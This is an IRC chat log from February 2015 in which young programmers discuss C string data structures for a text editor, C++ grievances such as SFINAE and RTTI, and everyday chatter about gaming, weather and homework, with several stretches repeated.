[2015-02-12T13:44:45-0500] <+awe> JacobEdelman_: awesome.
[2015-02-12T13:44:55-0500] <Hyper> JacobEdelman_: woo
[2015-02-12T13:45:23-0500] <+hardmath123> see the thing is implementing all these methods is long and painful :(
[2015-02-12T13:46:18-0500] <Hyper> hardmath123: you might want to look into ropes :)
[2015-02-12T13:46:26-0500] <Hyper> though that might be more complicated than you need
[2015-02-12T13:47:41-0500] <Hyper> also for parsing then stupid csv thing I ended up doing a character-by-character read, it was pretty simple in the end :)
[2015-02-12T13:50:01-0500] <+awe> But it was simple in spite of the language, not because of it, Hyper.
[2015-02-12T13:50:23-0500] <Hyper> I'm not praising the language
[2015-02-12T13:50:26-0500] <+awe> I know.
[2015-02-12T13:50:30-0500] <+awe> It was just an observation.
[2015-02-12T13:50:33-0500] <Hyper> I'm just saying the solution I ended up with was pretty simple
[2015-02-12T13:52:15-0500] <+hardmath123> gah
[2015-02-12T13:52:16-0500] <+awe> That's good.
[2015-02-12T13:52:20-0500] <+hardmath123> i can smell the OBO errors
[2015-02-12T13:53:00-0500] <+awe> lol @ a language where you have to typedef in order to not have to write a keyword everywhere.
[2015-02-12T13:53:11-0500] <+awe> (structs)
[2015-02-12T13:53:51-0500] <Hyper> OBO?
[2015-02-12T13:53:54-0500] <+awe> off-by-one
[2015-02-12T13:54:21-0500] <Hyper> lol
[2015-02-12T14:11:12-0500] <+hardmath123> I wonder when we'll see the first pdgn netsplit. Any predictions?
[2015-02-12T14:12:38-0500] <+awe> hardmath123: I don't know.
[2015-02-12T14:12:41-0500] <+awe> hardmath123: Hopefully not for a long time. :p
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[2015-02-12T13:35:12-0500] <JacobEdelman_> also, change "This is really only the beginning." to "This is only the beginning.", it seems cleaner that way
[2015-02-12T13:35:33-0500] <+awe> Maybe.
[2015-02-12T13:36:58-0500] <+hardmath123> awe: http://hastebin.com/qujexefabe AM I DOING THIS RIGHT?
[2015-02-12T13:37:15-0500] <+awe> wow, all caps.
[2015-02-12T13:37:34-0500] <+awe> hardmath123: questions: a) define long? b) why do you want them to be mutable?
[2015-02-12T13:37:46-0500] <JacobEdelman_> hardmath123: no, you're doing it wrong, you're using hastebin which ruined my hsctf problem
[2015-02-12T13:37:53-0500] <+awe> hardmath123: ah, by long, you mean arbitrarily length, right?
[2015-02-12T13:38:42-0500] <+hardmath123> awe: "long" means "arbitrarily long, and potentially very very long"
[2015-02-12T13:38:50-0500] <+awe> Right.
[2015-02-12T13:38:59-0500] <+hardmath123> awe: mutable means I want to be able to insert and delete arbitrary chunks of it fast.
[2015-02-12T13:39:00-0500] <+awe> I guess this seems fine?
[2015-02-12T13:39:04-0500] <+awe> I know what mutable means.
[2015-02-12T13:39:09-0500] <+awe> I was asking why you want it to be mutable.
[2015-02-12T13:39:30-0500] <+hardmath123> I clarified that because mutable could also mean "I want to be able to change any character I want fast."
[2015-02-12T13:39:30-0500] <+awe> hardmath123: can't you #pragma once in C?
[2015-02-12T13:39:50-0500] <+hardmath123> I want it to be mutable because the purpose of an editor is to edit, or mutate, strings.
[2015-02-12T13:40:00-0500] <+hardmath123> awe: What's a #pragme?
[2015-02-12T13:40:16-0500] <+awe> It's another way to define that the header is only included once.
[2015-02-12T13:40:35-0500] <+awe> Also, yeah, I just remembered kobe is a binary editor and not a programming language.
[2015-02-12T13:40:49-0500] <+awe> For some reason in my head, I was thinking of this as a language component.
[2015-02-12T13:40:52-0500] <+hardmath123> :P
[2015-02-12T13:41:02-0500] <+awe> Yeah, it looks fine to me.
[2015-02-12T13:44:01-0500] <Hyper> awe: hardmath123: Specifically, a #pragma is a compiler-specific dierective
[2015-02-12T13:44:09-0500] <+awe> Well, yes.
[2015-02-12T13:44:17-0500] <Hyper> it's basically a place that compilers can throw anything that isn't standard
[2015-02-12T13:44:20-0500] <+awe> Well, technically, it's a preprocessor-specific directive.
[2015-02-12T13:44:28-0500] <Hyper> #pragma once is supported by basically everything though
[2015-02-12T13:44:40-0500] <JacobEdelman_> awe: digital ocean says they are interested in sponsoring hscs.io :)
[2015-02-12T13:44:45-0500] <+awe> JacobEdelman_: awesome.
[2015-02-12T13:44:55-0500] <Hyper> JacobEdelman_: woo
[2015-02-12T13:45:23-0500] <+hardmath123> see the thing is implementing all these methods is long and painful :(
[2015-02-12T13:46:18-0500] <Hyper> hardmath123: you might want to look into ropes :)
[2015-02-12T13:46:26-0500] <Hyper> though that might be more complicated than you need
[2015-02-12T13:47:41-0500] <Hyper> also for parsing then stupid csv thing I ended up doing a character-by-character read, it was pretty simple in the end :)
[2015-02-12T13:50:01-0500] <+awe> But it was simple in spite of the language, not because of it, Hyper.
[2015-02-12T13:50:23-0500] <Hyper> I'm not praising the language
[2015-02-12T13:50:26-0500] <+awe> I know.
[2015-02-12T13:50:30-0500] <+awe> It was just an observation.
[2015-02-12T13:50:33-0500] <Hyper> I'm just saying the solution I ended up with was pretty simple
[2015-02-12T13:52:15-0500] <+hardmath123> gah
[2015-02-12T13:52:16-0500] <+awe> That's good.
[2015-02-12T13:52:20-0500] <+hardmath123> i can smell the OBO errors
[2015-02-12T13:53:00-0500] <+awe> lol @ a language where you have to typedef in order to not have to write a keyword everywhere.
[2015-02-12T13:53:11-0500] <+awe> (structs)
[2015-02-12T13:53:51-0500] <Hyper> OBO?
[2015-02-12T13:53:54-0500] <+awe> off-by-one
[2015-02-12T13:54:21-0500] <Hyper> lol
[2015-02-12T14:11:12-0500] <+hardmath123> I wonder when we'll see the first pdgn netsplit. Any predictions?
[2015-02-12T14:12:38-0500] <+awe> hardmath123: I don't know.
[2015-02-12T14:12:41-0500] <+awe> hardmath123: Hopefully not for a long time. :p
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[2015-02-12T13:37:46-0500] <JacobEdelman_> hardmath123: no, you're doing it wrong, you're using hastebin which ruined my hsctf problem
[2015-02-12T13:37:53-0500] <+awe> hardmath123: ah, by long, you mean arbitrarily length, right?
[2015-02-12T13:38:42-0500] <+hardmath123> awe: "long" means "arbitrarily long, and potentially very very long"
[2015-02-12T13:38:50-0500] <+awe> Right.
[2015-02-12T13:38:59-0500] <+hardmath123> awe: mutable means I want to be able to insert and delete arbitrary chunks of it fast.
[2015-02-12T13:39:00-0500] <+awe> I guess this seems fine?
[2015-02-12T13:39:04-0500] <+awe> I know what mutable means.
[2015-02-12T13:39:09-0500] <+awe> I was asking why you want it to be mutable.
[2015-02-12T13:39:30-0500] <+hardmath123> I clarified that because mutable could also mean "I want to be able to change any character I want fast."
[2015-02-12T13:39:30-0500] <+awe> hardmath123: can't you #pragma once in C?
[2015-02-12T13:39:50-0500] <+hardmath123> I want it to be mutable because the purpose of an editor is to edit, or mutate, strings.
[2015-02-12T13:40:00-0500] <+hardmath123> awe: What's a #pragme?
[2015-02-12T13:40:16-0500] <+awe> It's another way to define that the header is only included once.
[2015-02-12T13:40:35-0500] <+awe> Also, yeah, I just remembered kobe is a binary editor and not a programming language.
[2015-02-12T13:40:49-0500] <+awe> For some reason in my head, I was thinking of this as a language component.
[2015-02-12T13:40:52-0500] <+hardmath123> :P
[2015-02-12T13:41:02-0500] <+awe> Yeah, it looks fine to me.
[2015-02-12T13:44:01-0500] <Hyper> awe: hardmath123: Specifically, a #pragma is a compiler-specific dierective
[2015-02-12T13:44:09-0500] <+awe> Well, yes.
[2015-02-12T13:44:17-0500] <Hyper> it's basically a place that compilers can throw anything that isn't standard
[2015-02-12T13:44:20-0500] <+awe> Well, technically, it's a preprocessor-specific directive.
[2015-02-12T13:44:28-0500] <Hyper> #pragma once is supported by basically everything though
[2015-02-12T13:44:40-0500] <JacobEdelman_> awe: digital ocean says they are interested in sponsoring hscs.io :)
[2015-02-12T13:44:45-0500] <+awe> JacobEdelman_: awesome.
[2015-02-12T13:44:55-0500] <Hyper> JacobEdelman_: woo
[2015-02-12T13:45:23-0500] <+hardmath123> see the thing is implementing all these methods is long and painful :(
[2015-02-12T13:46:18-0500] <Hyper> hardmath123: you might want to look into ropes :)
[2015-02-12T13:46:26-0500] <Hyper> though that might be more complicated than you need
[2015-02-12T13:47:41-0500] <Hyper> also for parsing then stupid csv thing I ended up doing a character-by-character read, it was pretty simple in the end :)
[2015-02-12T13:50:01-0500] <+awe> But it was simple in spite of the language, not because of it, Hyper.
[2015-02-12T13:50:23-0500] <Hyper> I'm not praising the language
[2015-02-12T13:50:26-0500] <+awe> I know.
[2015-02-12T13:50:30-0500] <+awe> It was just an observation.
[2015-02-12T13:50:33-0500] <Hyper> I'm just saying the solution I ended up with was pretty simple
[2015-02-12T13:52:15-0500] <+hardmath123> gah
[2015-02-12T13:52:16-0500] <+awe> That's good.
[2015-02-12T13:52:20-0500] <+hardmath123> i can smell the OBO errors
[2015-02-12T13:53:00-0500] <+awe> lol @ a language where you have to typedef in order to not have to write a keyword everywhere.
[2015-02-12T13:53:11-0500] <+awe> (structs)
[2015-02-12T13:53:51-0500] <Hyper> OBO?
[2015-02-12T13:53:54-0500] <+awe> off-by-one
[2015-02-12T13:54:21-0500] <Hyper> lol
[2015-02-12T14:11:12-0500] <+hardmath123> I wonder when we'll see the first pdgn netsplit. Any predictions?
[2015-02-12T14:12:38-0500] <+awe> hardmath123: I don't know.
[2015-02-12T14:12:41-0500] <+awe> hardmath123: Hopefully not for a long time. :p
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[2015-02-12T16:50:20-0500] <JacobEdelman_> I'm scared :O
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[2015-02-12T13:38:42-0500] <+hardmath123> awe: "long" means "arbitrarily long, and potentially very very long"
[2015-02-12T13:38:50-0500] <+awe> Right.
[2015-02-12T13:38:59-0500] <+hardmath123> awe: mutable means I want to be able to insert and delete arbitrary chunks of it fast.
[2015-02-12T13:39:00-0500] <+awe> I guess this seems fine?
[2015-02-12T13:39:04-0500] <+awe> I know what mutable means.
[2015-02-12T13:39:09-0500] <+awe> I was asking why you want it to be mutable.
[2015-02-12T13:39:30-0500] <+hardmath123> I clarified that because mutable could also mean "I want to be able to change any character I want fast."
[2015-02-12T13:39:30-0500] <+awe> hardmath123: can't you #pragma once in C?
[2015-02-12T13:39:50-0500] <+hardmath123> I want it to be mutable because the purpose of an editor is to edit, or mutate, strings.
[2015-02-12T13:40:00-0500] <+hardmath123> awe: What's a #pragme?
[2015-02-12T13:40:16-0500] <+awe> It's another way to define that the header is only included once.
[2015-02-12T13:40:35-0500] <+awe> Also, yeah, I just remembered kobe is a binary editor and not a programming language.
[2015-02-12T13:40:49-0500] <+awe> For some reason in my head, I was thinking of this as a language component.
[2015-02-12T13:40:52-0500] <+hardmath123> :P
[2015-02-12T13:41:02-0500] <+awe> Yeah, it looks fine to me.
[2015-02-12T13:44:01-0500] <Hyper> awe: hardmath123: Specifically, a #pragma is a compiler-specific dierective
[2015-02-12T13:44:09-0500] <+awe> Well, yes.
[2015-02-12T13:44:17-0500] <Hyper> it's basically a place that compilers can throw anything that isn't standard
[2015-02-12T13:44:20-0500] <+awe> Well, technically, it's a preprocessor-specific directive.
[2015-02-12T13:44:28-0500] <Hyper> #pragma once is supported by basically everything though
[2015-02-12T13:44:40-0500] <JacobEdelman_> awe: digital ocean says they are interested in sponsoring hscs.io :)
[2015-02-12T13:44:45-0500] <+awe> JacobEdelman_: awesome.
[2015-02-12T13:44:55-0500] <Hyper> JacobEdelman_: woo
[2015-02-12T13:45:23-0500] <+hardmath123> see the thing is implementing all these methods is long and painful :(
[2015-02-12T13:46:18-0500] <Hyper> hardmath123: you might want to look into ropes :)
[2015-02-12T13:46:26-0500] <Hyper> though that might be more complicated than you need
[2015-02-12T13:47:41-0500] <Hyper> also for parsing then stupid csv thing I ended up doing a character-by-character read, it was pretty simple in the end :)
[2015-02-12T13:50:01-0500] <+awe> But it was simple in spite of the language, not because of it, Hyper.
[2015-02-12T13:50:23-0500] <Hyper> I'm not praising the language
[2015-02-12T13:50:26-0500] <+awe> I know.
[2015-02-12T13:50:30-0500] <+awe> It was just an observation.
[2015-02-12T13:50:33-0500] <Hyper> I'm just saying the solution I ended up with was pretty simple
[2015-02-12T13:52:15-0500] <+hardmath123> gah
[2015-02-12T13:52:16-0500] <+awe> That's good.
[2015-02-12T13:52:20-0500] <+hardmath123> i can smell the OBO errors
[2015-02-12T13:53:00-0500] <+awe> lol @ a language where you have to typedef in order to not have to write a keyword everywhere.
[2015-02-12T13:53:11-0500] <+awe> (structs)
[2015-02-12T13:53:51-0500] <Hyper> OBO?
[2015-02-12T13:53:54-0500] <+awe> off-by-one
[2015-02-12T13:54:21-0500] <Hyper> lol
[2015-02-12T14:11:12-0500] <+hardmath123> I wonder when we'll see the first pdgn netsplit. Any predictions?
[2015-02-12T14:12:38-0500] <+awe> hardmath123: I don't know.
[2015-02-12T14:12:41-0500] <+awe> hardmath123: Hopefully not for a long time. :p
[2015-02-12T16:50:04-0500] <JacobEdelman_> so, I'm at my cousins birthday lan party
[2015-02-12T16:50:07-0500] <JacobEdelman_> and they are playing dota
[2015-02-12T16:50:15-0500] <JacobEdelman_> I'm sourounded by serious desktop gaming rigs
[2015-02-12T16:50:20-0500] <JacobEdelman_> I'm scared :O
[2015-02-12T18:06:22-0500] <LittleBobbyTables> They're probably all shit
[2015-02-12T20:07:52-0500] <+awe> LittleBobbyTables: guaranteed.
[2015-02-12T20:07:59-0500] <+awe> LittleBobbyTables: remember: JacobEdelman_ knows *nothing* about computers.
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[2015-02-12T20:34:18-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-12T13:38:42-0500] <+hardmath123> awe: "long" means "arbitrarily long, and potentially very very long"
[2015-02-12T13:38:50-0500] <+awe> Right.
[2015-02-12T13:38:59-0500] <+hardmath123> awe: mutable means I want to be able to insert and delete arbitrary chunks of it fast.
[2015-02-12T13:39:00-0500] <+awe> I guess this seems fine?
[2015-02-12T13:39:04-0500] <+awe> I know what mutable means.
[2015-02-12T13:39:09-0500] <+awe> I was asking why you want it to be mutable.
[2015-02-12T13:39:30-0500] <+hardmath123> I clarified that because mutable could also mean "I want to be able to change any character I want fast."
[2015-02-12T13:39:30-0500] <+awe> hardmath123: can't you #pragma once in C?
[2015-02-12T13:39:50-0500] <+hardmath123> I want it to be mutable because the purpose of an editor is to edit, or mutate, strings.
[2015-02-12T13:40:00-0500] <+hardmath123> awe: What's a #pragme?
[2015-02-12T13:40:16-0500] <+awe> It's another way to define that the header is only included once.
[2015-02-12T13:40:35-0500] <+awe> Also, yeah, I just remembered kobe is a binary editor and not a programming language.
[2015-02-12T13:40:49-0500] <+awe> For some reason in my head, I was thinking of this as a language component.
[2015-02-12T13:40:52-0500] <+hardmath123> :P
[2015-02-12T13:41:02-0500] <+awe> Yeah, it looks fine to me.
[2015-02-12T13:44:01-0500] <Hyper> awe: hardmath123: Specifically, a #pragma is a compiler-specific dierective
[2015-02-12T13:44:09-0500] <+awe> Well, yes.
[2015-02-12T13:44:17-0500] <Hyper> it's basically a place that compilers can throw anything that isn't standard
[2015-02-12T13:44:20-0500] <+awe> Well, technically, it's a preprocessor-specific directive.
[2015-02-12T13:44:28-0500] <Hyper> #pragma once is supported by basically everything though
[2015-02-12T13:44:40-0500] <JacobEdelman_> awe: digital ocean says they are interested in sponsoring hscs.io :)
[2015-02-12T13:44:45-0500] <+awe> JacobEdelman_: awesome.
[2015-02-12T13:44:55-0500] <Hyper> JacobEdelman_: woo
[2015-02-12T13:45:23-0500] <+hardmath123> see the thing is implementing all these methods is long and painful :(
[2015-02-12T13:46:18-0500] <Hyper> hardmath123: you might want to look into ropes :)
[2015-02-12T13:46:26-0500] <Hyper> though that might be more complicated than you need
[2015-02-12T13:47:41-0500] <Hyper> also for parsing then stupid csv thing I ended up doing a character-by-character read, it was pretty simple in the end :)
[2015-02-12T13:50:01-0500] <+awe> But it was simple in spite of the language, not because of it, Hyper.
[2015-02-12T13:50:23-0500] <Hyper> I'm not praising the language
[2015-02-12T13:50:26-0500] <+awe> I know.
[2015-02-12T13:50:30-0500] <+awe> It was just an observation.
[2015-02-12T13:50:33-0500] <Hyper> I'm just saying the solution I ended up with was pretty simple
[2015-02-12T13:52:15-0500] <+hardmath123> gah
[2015-02-12T13:52:16-0500] <+awe> That's good.
[2015-02-12T13:52:20-0500] <+hardmath123> i can smell the OBO errors
[2015-02-12T13:53:00-0500] <+awe> lol @ a language where you have to typedef in order to not have to write a keyword everywhere.
[2015-02-12T13:53:11-0500] <+awe> (structs)
[2015-02-12T13:53:51-0500] <Hyper> OBO?
[2015-02-12T13:53:54-0500] <+awe> off-by-one
[2015-02-12T13:54:21-0500] <Hyper> lol
[2015-02-12T14:11:12-0500] <+hardmath123> I wonder when we'll see the first pdgn netsplit. Any predictions?
[2015-02-12T14:12:38-0500] <+awe> hardmath123: I don't know.
[2015-02-12T14:12:41-0500] <+awe> hardmath123: Hopefully not for a long time. :p
[2015-02-12T16:50:04-0500] <JacobEdelman_> so, I'm at my cousins birthday lan party
[2015-02-12T16:50:07-0500] <JacobEdelman_> and they are playing dota
[2015-02-12T16:50:15-0500] <JacobEdelman_> I'm sourounded by serious desktop gaming rigs
[2015-02-12T16:50:20-0500] <JacobEdelman_> I'm scared :O
[2015-02-12T18:06:22-0500] <LittleBobbyTables> They're probably all shit
[2015-02-12T20:07:52-0500] <+awe> LittleBobbyTables: guaranteed.
[2015-02-12T20:07:59-0500] <+awe> LittleBobbyTables: remember: JacobEdelman_ knows *nothing* about computers.
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[2015-02-12T21:11:36-0500] <ubuntor> rip my ears
[2015-02-12T21:11:49-0500] <ubuntor> banshee 2.6.1 has a bug which sets the volume to 100%
[2015-02-12T21:11:52-0500] <alokpathy> Here lie ubuntor's ears.
[2015-02-12T21:12:03-0500] <ubuntor> they shall be missed
[2015-02-12T21:48:12-0500] <Hyper> awe: the momentous arrival of Hyper isn't mentioned in the History of pdgn post. 0/10
[2015-02-12T21:55:20-0500] <Hyper> bob_twinkles: anything you think I should be sure to mention in my "C++ is shit" post?
[2015-02-12T21:58:30-0500] <bob_twinkles> uh...
[2015-02-12T21:58:31-0500] <bob_twinkles> well I disagree with your premise =P
[2015-02-12T21:58:31-0500] <bob_twinkles> it's certantly not the best language
[2015-02-12T21:58:31-0500] <bob_twinkles> but there's a reason why people have been writing apps in C++ for decades
[2015-02-12T21:58:50-0500] <Hyper> bob_twinkles: The title is mostly tounge-in-cheek
[2015-02-12T21:59:04-0500] <Hyper> I'm just listing annoying things in C++
[2015-02-12T21:59:15-0500] <Hyper> I'm gonna do it for more languages, don't worry :)
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[2015-02-12T22:00:42-0500] <Hyper> :(
[2015-02-12T22:00:47-0500] <Hyper> I scared him away
[2015-02-12T22:03:10-0500] <ubuntor> you should praise malbolge for a april fools post
[2015-02-12T22:04:03-0500] <Hyper> heh
[2015-02-12T22:04:28-0500] <Hyper> no I need to praise gotolang for it's strong semantics and amazing generics
[2015-02-12T22:04:38-0500] <Hyper> lel
[2015-02-12T22:05:00-0500] <Hyper> I've been spending too much time on /r/programmingcirclejerk lately x.x
[2015-02-12T22:10:11-0500] <Hyper> at least malbolge knows what it wants to be
[2015-02-12T22:10:35-0500] <Hyper> all these new languages want to be webscale and system level and super safe and also fast at once and have no fucking focus
[2015-02-12T22:11:16-0500] <Hyper> while having high level abstractions or significant whitespace or monads or some other hipster shit
[2015-02-12T22:12:36-0500] <Hyper> and I just have to watch as all these people write posts about "Why X is the new Y" and I just have to wonder why we can't have both doing different things?
[2015-02-12T22:13:29-0500] <Hyper> or you see people who think all their projects need to be pitchable to some piece of shit at a VC firm
[2015-02-12T22:14:24-0500] <Hyper> because everything is about monetization nowadays but nobody actually makes these things thinking about a business model or they live in a "Oh I'll just have the number of users facebook has that's so easy I watch the social network I know everything" world
[2015-02-12T22:14:43-0500] <Hyper> ok I'm done ranting
[2015-02-12T22:14:51-0500] <Hyper> probably
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[2015-02-12T22:16:14-0500] <Hyper> bob_twinkles: you ran away :(
[2015-02-12T22:16:24-0500] <Hyper> lol
[2015-02-12T22:16:27-0500] <bob_twinkles> sorry, verison is being shit =(
[2015-02-12T22:16:31-0500] <Hyper> hehe
[2015-02-12T22:16:41-0500] <bob_twinkles> I think it's done now though
[2015-02-12T22:16:56-0500] <bob_twinkles> uh, what was the last thing you actually received?
[2015-02-12T22:17:04-0500] <Hyper> [21:58:33]  <bob_twinkles>	but there's a reason why people have been writing apps in C++ for decades
[2015-02-12T22:17:15-0500] <bob_twinkles> oh, ok good that's the last thing I said =P
[2015-02-12T22:17:26-0500] <Hyper> I've just been ranting about webscale yolo shit in the meantime
[2015-02-12T22:17:28-0500] <bob_twinkles> I didn't see your response though, if you had one
[2015-02-12T22:17:30-0500] <bob_twinkles> heh
[2015-02-12T22:17:40-0500] <Hyper> I said...
[2015-02-12T22:17:41-0500] <Hyper> [21:58:51]  <Hyper>	bob_twinkles: The title is mostly tounge-in-cheek
[2015-02-12T22:17:41-0500] <Hyper> [21:59:05]  <Hyper>	I'm just listing annoying things in C++
[2015-02-12T22:17:41-0500] <Hyper> [21:59:16]  <Hyper>	I'm gonna do it for more languages, don't worry :)
[2015-02-12T22:17:52-0500] <bob_twinkles> ah, ok
[2015-02-12T22:18:36-0500] <bob_twinkles> I assume you've already taken the low-hanging fruit here (templates, general language complexity)
[2015-02-12T22:20:18-0500] <Hyper> yeah
[2015-02-12T22:21:30-0500] <bob_twinkles> I've always found the ostream notation far less flexible than C's printf
[2015-02-12T22:21:35-0500] <bob_twinkles> that could just be me though
[2015-02-12T22:22:09-0500] <Hyper> bob_twinkles: http://pastebin.com/Eaps0az7 is what i've got so far
[2015-02-12T22:22:15-0500] <Hyper> oooh I forgot about ostreams :)
[2015-02-12T22:22:52-0500] <bob_twinkles> "The language should decide if it wants you to be able to compute things at compile time or not
[2015-02-12T22:22:59-0500] <bob_twinkles> damn picking up the line break
[2015-02-12T22:23:06-0500] <bob_twinkles> anyway, that's been resolved with C++11's constexpr
[2015-02-12T22:23:12-0500] <bob_twinkles> you can do compile-time computations
[2015-02-12T22:24:08-0500] <Hyper> bob_twinkles: again, kinda :)
[2015-02-12T22:24:13-0500] <Hyper> I've had issues with constexpr
[2015-02-12T22:24:30-0500] <Hyper> I'll need to fiddle with it before I post that to rant about it better
[2015-02-12T22:25:04-0500] <bob_twinkles> I've never played with it much TBH
[2015-02-12T22:25:17-0500] <bob_twinkles> oh, static initializers are bad times
[2015-02-12T22:25:32-0500] <bob_twinkles> because code can silently work/not work depending on what order the compiler decides to construct things
[2015-02-12T22:25:47-0500] <bob_twinkles> you can fix it, but not cleanly and it's _really_ hard to do without memory leaks
[2015-02-12T22:27:13-0500] <Hyper> oh I need to mention the bullshit that is SFINAEo
[2015-02-12T22:27:42-0500] <bob_twinkles> SFINAEO?
[2015-02-12T22:28:06-0500] <Hyper> SFINAE
[2015-02-12T22:28:12-0500] <Hyper> I accidentally hit the o
[2015-02-12T22:28:14-0500] <Hyper> lol
[2015-02-12T22:28:39-0500] <+hardmath123> Slightly Frantic Incapacitated Nincompoops (Above Expectations)
[2015-02-12T22:28:46-0500] <Hyper> lol
[2015-02-12T22:29:03-0500] <Hyper> Substitution Failure Is Not An Error
[2015-02-12T22:29:12-0500] <Hyper> it's a feature(tm)
[2015-02-12T22:29:17-0500] <+hardmath123> Sometimes Flying Is Not Actually Easy
[2015-02-12T22:29:32-0500] <Hyper> because they couldn't give enough of a shit to fix it when it was a bug so they added it to the fucking standard
[2015-02-12T22:31:02-0500] <bob_twinkles> 2 other things: lack of a standard ABI and the massive overhead of RTTI
[2015-02-12T22:31:20-0500] <bob_twinkles> more specifically the fact that enabling RTTI violates "you only pay for what you use"
[2015-02-12T22:31:36-0500] <+hardmath123> Sheesh, Freenode Is Netsplitting Again. Excellent.
[2015-02-12T22:31:45-0500] <+hardmath123> I'll stop now.
[2015-02-12T22:32:02-0500] <bob_twinkles> since everything with a vtable has to pay for RTTI, even if you only use it for a handful of classes
[2015-02-12T22:34:27-0500] <Hyper> mhm
[2015-02-12T22:34:44-0500] <Hyper> I could complain for awhile about vtables but I can't think of a way around them while still having polymorphism
[2015-02-12T22:37:19-0500] <Hyper> so I don't think it's really fair game of me to complain about them if I don't know any better way of doing things
[2015-02-12T22:43:41-0500] <bob_twinkles> vtables are fine, the real issue is not having a standard ABI
[2015-02-12T22:44:10-0500] <bob_twinkles> there are really only 3 out there though: Itanium, ARM Itanium and then MSVC
[2015-02-12T22:44:15-0500] <bob_twinkles> because Microsoft is Special
[2015-02-12T22:44:46-0500] <bob_twinkles> and IIRC ARM Itanium is just the standard Itanium C++ ABI with some special thiscall semantics
[2015-02-12T22:44:54-0500] <bob_twinkles> though I could be totally pulling that out of my ass
[2015-02-12T23:18:27-0500] <+awe> Hyper: I don't even know when you showed up, fool.
[2015-02-12T23:19:04-0500] <Hyper> D:
[2015-02-12T23:19:09-0500] <Hyper> right around thanksgiving
[2015-02-12T23:19:45-0500] <Hyper> https://www.youtube.com/watch?v=GlhOUyy4wbs
[2015-02-12T23:23:00-0500] <bob_twinkles> http://i.imgur.com/F636xiP.gif (not related, just cool)
[2015-02-12T23:27:11-0500] <Hyper> oooooh
[2015-02-13T00:33:03-0500] <LittleBobbyTables> The ____________________ property for a control will automatically resize the control and place it in the same relative position on the screen regardless of monitor size and screen resolution.
[2015-02-13T00:33:21-0500] <LittleBobbyTables> If anyone has better luck googling/duckduckgoing/yahooing/binging/asking jeeves/search engine of your choicing than me
[2015-02-13T00:33:32-0500] <bob_twinkles> what platform?
[2015-02-13T00:34:15-0500] <LittleBobbyTables> access 2013
[2015-02-13T00:36:58-0500] <bob_twinkles> uh, CreateControl apparently does that
[2015-02-13T00:37:03-0500] <bob_twinkles> but that's not a property of Control
[2015-02-13T00:37:06-0500] <bob_twinkles> dunno
[2015-02-13T00:37:59-0500] <LittleBobbyTables> yeee
[2015-02-13T00:38:03-0500] <LittleBobbyTables> And it's not a multiple choice
[2015-02-13T00:38:06-0500] <LittleBobbyTables> It's a text box answer
[2015-02-13T00:38:48-0500] <bob_twinkles> the size/position of controls is spread out across like 4 properties according to MSDN
[2015-02-13T00:38:56-0500] <bob_twinkles> so I really have no idea what they want there
[2015-02-13T00:41:10-0500] <LittleBobbyTables> yeee
[2015-02-13T00:41:11-0500] <LittleBobbyTables> :/
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[2015-02-13T01:46:10-0500] <LittleBobbyTables> Man, I hope it doesn't rain this Saturday.
[2015-02-13T02:06:38-0500] <+awe> Can someone offer me assistance with probability?
[2015-02-13T02:06:42-0500] <+awe> LittleBobbyTables: you're probably the only one up?
[2015-02-13T02:06:59-0500] <+awe> http://people.cs.umass.edu/~mcgregor/240S15/hw1.pdf I need to figure out how to 5.2.
[2015-02-13T02:28:07-0500] <+awe> Nevermind.
[2015-02-13T02:28:10-0500] <+awe> I finished.
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[2015-02-13T07:36:52-0500] <JacobEdelman_> LittleBobbyTables: my (younger) cousin was there with his which he built himself, its a very good gaming rig, several of these people had serious, good, desktops
[2015-02-13T07:36:54-0500] <JacobEdelman_> also
[2015-02-13T07:37:18-0500] <JacobEdelman_> LittleBobbyTables: one of them was playing osu and was very impressed when I told him I knew cptnxn over the internets
[2015-02-13T07:37:46-0500] <JacobEdelman_> (in other news, I am very bad at dota)
[2015-02-13T07:42:19-0500] <JacobEdelman_> also, gmorning all
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[2015-02-13T08:53:23-0500] <LittleBobbyTables> ^_^
[2015-02-13T08:53:59-0500] <apothy> Salutations LittleBobbyTables 
[2015-02-13T08:54:16-0500] <apothy> Horrible weather we're having.
[2015-02-13T08:54:20-0500] <apothy> It's 8 degrees here .-.
[2015-02-13T08:55:42-0500] <LittleBobbyTables> Celcius, right?
[2015-02-13T08:58:28-0500] <apothy> False.
[2015-02-13T08:58:30-0500] <apothy> Kevlin.
[2015-02-13T08:58:33-0500] <apothy> Kelvin*
[2015-02-13T09:02:04-0500] <LittleBobbyTables> So you're literally burning
[2015-02-13T09:40:47-0500] <JacobEdelman_> the air outside of my classroom is a liquid, should I swim in it?
[2015-02-13T09:51:05-0500] <LittleBobbyTables> yes
[2015-02-13T09:52:49-0500] <JacobEdelman_> oh wait, too late, 
[2015-02-13T09:52:52-0500] <JacobEdelman_> its a solid now
[2015-02-13T10:28:54-0500] <+hardmath123> Friday the 13th. Dun dun dunnnnnnnnnnnnnnnn.
[2015-02-13T10:29:01-0500] <+hardmath123> (Obligatory.)
[2015-02-13T10:37:04-0500] <+hardmath123> JacobEdelman_: We have 100 stars on nearley's Github!
[2015-02-13T10:37:43-0500] <JacobEdelman_> cool!
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[2015-02-13T13:18:07-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-12T23:18:28-0500] <+awe> Hyper: I don't even know when you showed up, fool.
[2015-02-12T23:19:05-0500] <Hyper> D:
[2015-02-12T23:19:10-0500] <Hyper> right around thanksgiving
[2015-02-12T23:19:46-0500] <Hyper> https://www.youtube.com/watch?v=GlhOUyy4wbs
[2015-02-12T23:23:00-0500] <bob_twinkles> http://i.imgur.com/F636xiP.gif (not related, just cool)
[2015-02-12T23:27:12-0500] <Hyper> oooooh
[2015-02-13T00:33:04-0500] <LittleBobbyTables> The ____________________ property for a control will automatically resize the control and place it in the same relative position on the screen regardless of monitor size and screen resolution.
[2015-02-13T00:33:22-0500] <LittleBobbyTables> If anyone has better luck googling/duckduckgoing/yahooing/binging/asking jeeves/search engine of your choicing than me
[2015-02-13T00:33:33-0500] <bob_twinkles> what platform?
[2015-02-13T00:34:16-0500] <LittleBobbyTables> access 2013
[2015-02-13T00:36:59-0500] <bob_twinkles> uh, CreateControl apparently does that
[2015-02-13T00:37:04-0500] <bob_twinkles> but that's not a property of Control
[2015-02-13T00:37:07-0500] <bob_twinkles> dunno
[2015-02-13T00:38:00-0500] <LittleBobbyTables> yeee
[2015-02-13T00:38:04-0500] <LittleBobbyTables> And it's not a multiple choice
[2015-02-13T00:38:07-0500] <LittleBobbyTables> It's a text box answer
